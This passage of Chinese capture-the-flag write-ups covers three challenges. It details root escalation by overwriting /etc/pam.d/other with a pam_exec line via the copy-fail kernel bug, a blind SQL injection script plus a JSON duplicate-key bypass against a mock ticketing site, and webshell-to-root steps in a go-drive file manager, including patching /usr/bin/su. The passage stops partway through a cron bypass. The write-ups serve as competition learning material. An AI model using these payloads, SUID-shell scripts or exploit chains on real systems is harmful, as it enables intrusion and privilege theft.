&lt;h3&gt;2. &lt;code&gt;auth_pam_tool&lt;/code&gt; 分析&lt;/h3&gt;
&lt;p&gt;逆向 &lt;code&gt;auth_pam_tool&lt;/code&gt; 后可以确认几个关键点。&lt;/p&gt;
&lt;p&gt;首先，它很早就会执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setreuid(0, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，后续逻辑会以 root 权限运行。&lt;/p&gt;
&lt;p&gt;其次，它默认使用的 PAM service 名称是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是系统中不存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/pam.d/mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此 PAM 会 fallback 到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/pam.d/other
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就给了一个提权思路：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果能够覆盖 &lt;code&gt;/etc/pam.d/other&lt;/code&gt;，再触发 &lt;code&gt;auth_pam_tool&lt;/code&gt;，就可以让 PAM 模块以 root 身份执行我们指定的逻辑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;3. 为什么不直接打自定义 service&lt;/h3&gt;
&lt;p&gt;一开始尝试过构造自定义 service，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/mysvc
../../tmp/mysvc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后把 service 名传给 &lt;code&gt;auth_pam_tool&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但是实际触发时，&lt;code&gt;auth_pam_tool&lt;/code&gt; 仍然表现得像是在走普通密码认证，并没有稳定加载我们自定义的 PAM 配置。&lt;/p&gt;
&lt;p&gt;因此最后放弃硬怼自定义 service，换成更稳定的方式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;直接覆盖 &lt;code&gt;/etc/pam.d/other&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、使用 copy-fail 覆盖 PAM 配置&lt;/h2&gt;
&lt;h3&gt;1. 利用方式&lt;/h3&gt;
&lt;p&gt;目标容器里没有 &lt;code&gt;python3&lt;/code&gt;，所以不能直接把 Python 版 PoC 扔上去跑。&lt;/p&gt;
&lt;p&gt;最终做法是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;本地把 &lt;code&gt;copy-fail&lt;/code&gt; PoC 改写成 C 版本。&lt;/li&gt;
&lt;li&gt;编译成静态 ELF。&lt;/li&gt;
&lt;li&gt;上传到远端 &lt;code&gt;/tmp/copyfail&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;先对 &lt;code&gt;/tmp/probe&lt;/code&gt; 做写入行为标定。&lt;/li&gt;
&lt;li&gt;确认 &lt;code&gt;step=4&lt;/code&gt; 可以稳定连续覆盖。&lt;/li&gt;
&lt;li&gt;使用它覆盖 &lt;code&gt;/etc/pam.d/other&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;2. 写入的 PAM 配置&lt;/h3&gt;
&lt;p&gt;最终写入 &lt;code&gt;/etc/pam.d/other&lt;/code&gt; 的内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth sufficient pam_exec.so seteuid /tmp/pe.sh
account sufficient pam_permit.so
password sufficient pam_permit.so
session sufficient pam_permit.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一行是核心：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth sufficient pam_exec.so seteuid /tmp/pe.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;含义是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;认证阶段加载 &lt;code&gt;pam_exec.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;seteuid&lt;/code&gt; 保持有效 UID&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;/tmp/pe.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果执行成功，则认证通过&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于触发者是 SUID root 程序，所以 &lt;code&gt;/tmp/pe.sh&lt;/code&gt; 会以 root 身份执行。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3. 准备 root 脚本&lt;/h3&gt;
&lt;p&gt;提前写入 &lt;code&gt;/tmp/pe.sh&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
id &amp;gt;/tmp/pid
cp /bin/sh /tmp/r
chmod 4755 /tmp/r
cat /flag &amp;gt;/tmp/f 2&amp;gt;/tmp/e
chmod 644 /tmp/pid /tmp/f /tmp/e 2&amp;gt;/dev/null
exit 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个脚本做了几件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把当前身份写入 &lt;code&gt;/tmp/pid&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;复制 &lt;code&gt;/bin/sh&lt;/code&gt; 到 &lt;code&gt;/tmp/r&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;给 &lt;code&gt;/tmp/r&lt;/code&gt; 加上 SUID 权限。&lt;/li&gt;
&lt;li&gt;读取 &lt;code&gt;/flag&lt;/code&gt; 到 &lt;code&gt;/tmp/f&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;调整输出文件权限，方便后续读取。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;五、触发提权&lt;/h2&gt;
&lt;p&gt;覆盖完 &lt;code&gt;/etc/pam.d/other&lt;/code&gt; 后，再次调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于默认 service 仍然是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而系统中不存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/pam.d/mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 PAM 会 fallback 到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/pam.d/other
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是我们刚刚覆盖的配置。&lt;/p&gt;
&lt;p&gt;最终触发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pam_exec.so seteuid /tmp/pe.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/tmp/pe.sh&lt;/code&gt; 以 root 身份执行。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;六、提权结果&lt;/h2&gt;
&lt;p&gt;成功后，远端生成三个关键文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/pid
/tmp/r
/tmp/f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/pid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记录执行身份，结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=0(root) gid=101(mysql)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/tmp/r&lt;/code&gt; 是 SUID shell。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/tmp/f&lt;/code&gt; 是 &lt;code&gt;/flag&lt;/code&gt; 的内容。&lt;/p&gt;
&lt;p&gt;验证 SUID shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/r -p -c &apos;id&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=100(mysql) gid=101(mysql) euid=0(root) groups=101(mysql)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明已经获得 &lt;code&gt;euid=0&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;七、最终读取 flag&lt;/h2&gt;
&lt;p&gt;可以直接读取 &lt;code&gt;/tmp/f&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /tmp/f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以使用 SUID shell 读取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/r -p -c &apos;cat /flag&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;12307 Writeup&lt;/h2&gt;
&lt;h2&gt;题目概览&lt;/h2&gt;
&lt;p&gt;题目是一个模拟购票系统，整体利用链比较长，核心流程为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;伪造移动端身份。&lt;/li&gt;
&lt;li&gt;下单进入候补状态。&lt;/li&gt;
&lt;li&gt;利用后台票价重算接口中的 SQL 注入盲注数据。&lt;/li&gt;
&lt;li&gt;构造 &lt;code&gt;claim_proof&lt;/code&gt; 注入权限声明。&lt;/li&gt;
&lt;li&gt;激活候补席位。&lt;/li&gt;
&lt;li&gt;利用 JSON 重复键解析差异绕过校验。&lt;/li&gt;
&lt;li&gt;通过打印驱动读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;一、绕过移动端身份验证&lt;/h2&gt;
&lt;p&gt;首先需要绕过移动端身份验证。&lt;/p&gt;
&lt;p&gt;接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/mobile/identity/continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提交 payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = {
    &quot;trustLevel&quot;: [&quot;mobile&quot;, &quot;partner&quot;, &quot;settlement&quot;],
    &quot;continuation&quot;: {&quot;fake&quot;: True}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的关键是触发后端的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;partnerContinuation()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过伪造合作方续期，可以获得一个可用会话。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、创建候补订单&lt;/h2&gt;
&lt;p&gt;接下来订一张票。&lt;/p&gt;
&lt;p&gt;需要注意：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;G7608 次列车的商务座余票为 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此选择商务座时，订单会进入候补状态。&lt;/p&gt;
&lt;p&gt;先获取 &lt;code&gt;waitlist_session&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/mobile/orders/hold
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后创建订单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/mobile/orders
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;order_data = {
    &quot;trainNo&quot;: &quot;G7608&quot;,
    &quot;seatClass&quot;: &quot;business&quot;,
    &quot;passenger&quot;: {
        # passenger info
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里选择：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;seatClass = business
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是为了强制让订单进入候补逻辑。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、后台票价重算接口 SQL 注入&lt;/h2&gt;
&lt;p&gt;漏洞接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/desk/fares/reprice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题出在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fare_scope_expression()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该函数接受如下格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;mode&quot;: &quot;legacy-rank&quot;,
  &quot;expr&quot;: &quot;...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;expr&lt;/code&gt; 会被直接拼接到 &lt;code&gt;ORDER BY&lt;/code&gt; 子句中。&lt;/p&gt;
&lt;p&gt;因此可以利用排序结果作为布尔判断依据。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、利用 bucket 字段做布尔盲注&lt;/h2&gt;
&lt;p&gt;接口返回中存在 &lt;code&gt;bucket&lt;/code&gt; 字段，可以用它判断条件真假。&lt;/p&gt;
&lt;p&gt;判断规则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;north-window → BJP 排第一 → True
local-window → HGH 排第一 → False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以可以构造：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = {
    &quot;mode&quot;: &quot;legacy-rank&quot;,
    &quot;expr&quot;: &quot;IF(condition, &apos;BJP&apos;, &apos;HGH&apos;)&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果响应中出现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;north-window
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明条件为真。&lt;/p&gt;
&lt;p&gt;如果出现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;local-window
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明条件为假。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、盲注提取 claim 数据&lt;/h2&gt;
&lt;p&gt;需要盲注提取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claim_salt
claim_digest 前 12 位
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def blind_extract():
    extracted = &quot;&quot;

    for pos in range(1, 13):
        for ch in charset:
            payload = {
                &quot;mode&quot;: &quot;legacy-rank&quot;,
                &quot;expr&quot;: f&quot;IF(SUBSTRING(claim_digest,{pos},1)=&apos;{ch}&apos;, &apos;BJP&apos;, &apos;HGH&apos;)&quot;
            }

            resp = requests.post(
                &quot;http://target/api/desk/fares/reprice&quot;,
                json=payload
            )

            if &quot;north-window&quot; in resp.text:
                extracted += ch
                break

    return extracted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到数据后构造：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claim_proof = f&quot;CP-{claim_salt}-{claim_digest[:12]}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;claim_proof&lt;/code&gt; 后续会用于翻转多个数据库状态，并注入布局权限声明。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;六、激活候补席位&lt;/h2&gt;
&lt;p&gt;使用新的 &lt;code&gt;waitlist_session&lt;/code&gt; 激活订单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/mobile/waitlist/pulse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pulse_data = {
    &quot;orderId&quot;: order_id,
    &quot;state&quot;: &quot;boarding&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后建立 WebSocket 连接获取频道：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ws = websocket.connect(
    &quot;ws://target/api/connect/boarding?stationCode=HGH&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、JSON 重复键解析差异&lt;/h2&gt;
&lt;p&gt;关键漏洞在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;verify_carrier_seal()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数会对同一个 JSON 解析两次。&lt;/p&gt;
&lt;p&gt;第一次：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public_view
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用“第一个键获胜”的逻辑，类似 Python 的 &lt;code&gt;object_pairs_hook&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;第二次：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;render_view
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用正常 JSON 解析逻辑，也就是“最后一个重复键获胜”。&lt;/p&gt;
&lt;p&gt;因此可以构造重复键：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;printProfile&quot;: &quot;counter-copy&quot;,
  &quot;printer&quot;: &quot;thermal-standard&quot;,
  &quot;printProfile&quot;: &quot;clearing-batch&quot;,
  &quot;printer&quot;: &quot;line-printer&quot;,
  &quot;driverProgram&quot;: &quot;/usr/bin/base64&quot;,
  &quot;driverArgument&quot;: &quot;/flag&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次解析看到的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;printProfile&quot;: &quot;counter-copy&quot;,
  &quot;printer&quot;: &quot;thermal-standard&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以通过校验。&lt;/p&gt;
&lt;p&gt;第二次真正使用时看到的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;printProfile&quot;: &quot;clearing-batch&quot;,
  &quot;printer&quot;: &quot;line-printer&quot;,
  &quot;driverProgram&quot;: &quot;/usr/bin/base64&quot;,
  &quot;driverArgument&quot;: &quot;/flag&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从而控制打印驱动读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;八、构造恶意 carrierSeal&lt;/h2&gt;
&lt;p&gt;接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/corporate/receipts/prepare
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恶意 payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;malicious_payload = {
    &quot;carrierSeal&quot;: {
        &quot;payload&quot;: json.dumps({
            &quot;printProfile&quot;: &quot;counter-copy&quot;,
            &quot;printer&quot;: &quot;thermal-standard&quot;,

            &quot;printProfile&quot;: &quot;clearing-batch&quot;,
            &quot;printer&quot;: &quot;line-printer&quot;,
            &quot;driverProgram&quot;: &quot;/usr/bin/base64&quot;,
            &quot;driverArgument&quot;: &quot;/flag&quot;
        })
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里利用重复键，使得校验视图和渲染视图不一致。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;九、触发打印并读取结果&lt;/h2&gt;
&lt;p&gt;创建清算批次：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/corporate/reconciliation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reconcile_data = {
    &quot;type&quot;: &quot;carrier-closeout&quot;,
    &quot;template&quot;: &quot;{{reconciliation.receipt}}&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调度结算：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/corporate/settlement/schedule
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后轮询结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /api/corporate/reconciliation/{batch_id}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回内容中即可拿到 &lt;code&gt;/flag&lt;/code&gt; 的 base64 结果，解码即可。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Real dlsite Writeup&lt;/h2&gt;
&lt;h2&gt;题目概览&lt;/h2&gt;
&lt;p&gt;题目是一个类网盘 / 文件管理系统，主要包含两个部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先通过 &lt;code&gt;/manage&lt;/code&gt; 后台和 SQLite 写文件拿到 PHP RCE。&lt;/li&gt;
&lt;li&gt;再利用 go-drive 配置和 task runner panic，切到 &lt;code&gt;app&lt;/code&gt; 用户命令执行。&lt;/li&gt;
&lt;li&gt;最后利用 CVE-2026-31431 &lt;code&gt;copy-fail&lt;/code&gt; patch &lt;code&gt;/usr/bin/su&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;通过 cron 绕过 &lt;code&gt;NoNewPrivs&lt;/code&gt;，最终读取 root flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;一、进入 &lt;code&gt;/manage&lt;/code&gt; 后台&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/manage&lt;/code&gt; 提交空密码对应的 hash 后，可以成功登录后台。&lt;/p&gt;
&lt;p&gt;登录后可以任意执行 SQL 语句。&lt;/p&gt;
&lt;p&gt;由于目标使用的是 SQLite，并且 SQLite 版本支持：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VACUUM INTO &apos;/path/to/file&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此可以通过 SQLite 写文件。&lt;/p&gt;
&lt;p&gt;这一步可以落地一个 WebShell，例如写入 &lt;code&gt;ws.php&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、用 &lt;code&gt;ws.php&lt;/code&gt; 拿到 PHP RCE&lt;/h2&gt;
&lt;p&gt;通过 SQLite 写入 &lt;code&gt;ws.php&lt;/code&gt; 后，可以获得 PHP 层面的命令执行。&lt;/p&gt;
&lt;p&gt;但是 PHP RCE 受到多重限制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;open_basedir
disable_functions
NoNewPrivs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以直接使用 PHP RCE 的能力非常有限。&lt;/p&gt;
&lt;p&gt;接下来需要转向利用 go-drive 本身，拿到更稳定的 &lt;code&gt;app&lt;/code&gt; 用户命令执行。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、利用 go-drive 配置拿 app 用户 RCE&lt;/h2&gt;
&lt;h3&gt;1. 登录 &lt;code&gt;/new&lt;/code&gt; 后台&lt;/h3&gt;
&lt;p&gt;使用默认账号登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin / 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;2. 新建两个 fs drive&lt;/h3&gt;
&lt;p&gt;创建两个 &lt;code&gt;fs&lt;/code&gt; 类型 drive：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;appx -&amp;gt; ../../../../app
tmpx -&amp;gt; ../../../../tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作用分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;appx&lt;/code&gt;：用于访问和覆盖 &lt;code&gt;/app&lt;/code&gt; 目录。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tmpx&lt;/code&gt;：用于访问 &lt;code&gt;/tmp&lt;/code&gt; 目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;3. 覆盖 &lt;code&gt;/app/config.yml&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;修改 &lt;code&gt;/app/config.yml&lt;/code&gt;，在 &lt;code&gt;thumbnail.handlers&lt;/code&gt; 中插入一个新的 shell handler，只匹配 &lt;code&gt;.cmd&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;核心配置如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type: shell
tags:
file-types: cmd
config:
  shell: sh /tmp/cmd.sh
  mime-type: text/plain
  write-content: false
  max-size: -1
  timeout: 30s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段配置的作用是：&lt;/p&gt;
&lt;p&gt;当访问 &lt;code&gt;.cmd&lt;/code&gt; 文件缩略图时，go-drive 会调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sh /tmp/cmd.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从而获得 &lt;code&gt;app&lt;/code&gt; 用户命令执行。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;4. 触发 go-drive 重启使配置生效&lt;/h3&gt;
&lt;p&gt;配置写入后不会立即生效，需要让 go-drive 重启。&lt;/p&gt;
&lt;p&gt;做法是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;写一个恶意 &lt;code&gt;script drive&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;让它的 &lt;code&gt;save()&lt;/code&gt; 返回 &lt;code&gt;null&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;对这个 drive 发起一次写操作。&lt;/li&gt;
&lt;li&gt;触发 go-drive task runner panic。&lt;/li&gt;
&lt;li&gt;supervisor 自动重启 go-drive。&lt;/li&gt;
&lt;li&gt;新配置生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;5. 触发 app 用户命令执行&lt;/h3&gt;
&lt;p&gt;配置生效后，只需要访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/new/thumbnail/tmpx/xxx.cmd?_k=...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会触发 thumbnail handler。&lt;/p&gt;
&lt;p&gt;最终执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sh /tmp/cmd.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时获得稳定的 &lt;code&gt;app&lt;/code&gt; 用户命令执行。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四、评估本地提权路线&lt;/h2&gt;
&lt;p&gt;拿到 &lt;code&gt;app&lt;/code&gt; 用户 shell 后，先确认环境。&lt;/p&gt;
&lt;p&gt;当前身份：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=1000(app)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键限制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NoNewPrivs=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，当前 webshell 进程中直接执行 SUID 程序不会获得提权效果。&lt;/p&gt;
&lt;p&gt;继续检查发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StorageBox 的 SUID 在当前 shell 下失效
/usr/bin/su 存在，权限为 4755
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时验证 AF_ALG 可用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;socket(AF_ALG, SOCK_SEQPACKET, 0)
bind((&quot;aead&quot;, &quot;authencesn(hmac(sha256),cbc(aes))&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两步都成功，说明目标环境是 CVE-2026-31431 &lt;code&gt;copy-fail&lt;/code&gt; 的可利用候选。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;五、使用 CVE-2026-31431 patch &lt;code&gt;/usr/bin/su&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;这里使用公开 PoC 的思路。&lt;/p&gt;
&lt;p&gt;Theori 的 PoC 本质上是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过 copy-fail 把目标 SUID ELF 覆盖成一个极小 launcher。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原版 launcher 最后会执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里将内置字符串改成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后用 copy-fail 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样 &lt;code&gt;/usr/bin/su&lt;/code&gt; 就被替换成了一个 SUID root launcher。&lt;/p&gt;
&lt;p&gt;当它被执行时，会以 root 权限执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/x
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、为什么不能直接执行 patched su&lt;/h2&gt;
&lt;p&gt;虽然 &lt;code&gt;/usr/bin/su&lt;/code&gt; 已经被 patch 成 launcher，但在当前 &lt;code&gt;app&lt;/code&gt; webshell 中直接执行它没有效果。&lt;/p&gt;
&lt;p&gt;原因是当前进程存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NoNewPrivs=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个标志会导致子进程无法通过 SUID 获得新的权限。&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在当前 shell 里执行，不会真正提权。&lt;/p&gt;
&lt;p&gt;所以需要找一个不继承当前 &lt;code&gt;NoNewPrivs&lt;/code&gt; 的执行入口。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;七、利用 app 用户 cron 绕过 NoNewPrivs&lt;/h2&gt;
&lt;p&gt;关键观察：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;crontab 命令存在
app 用户可以安装自己的 crontab
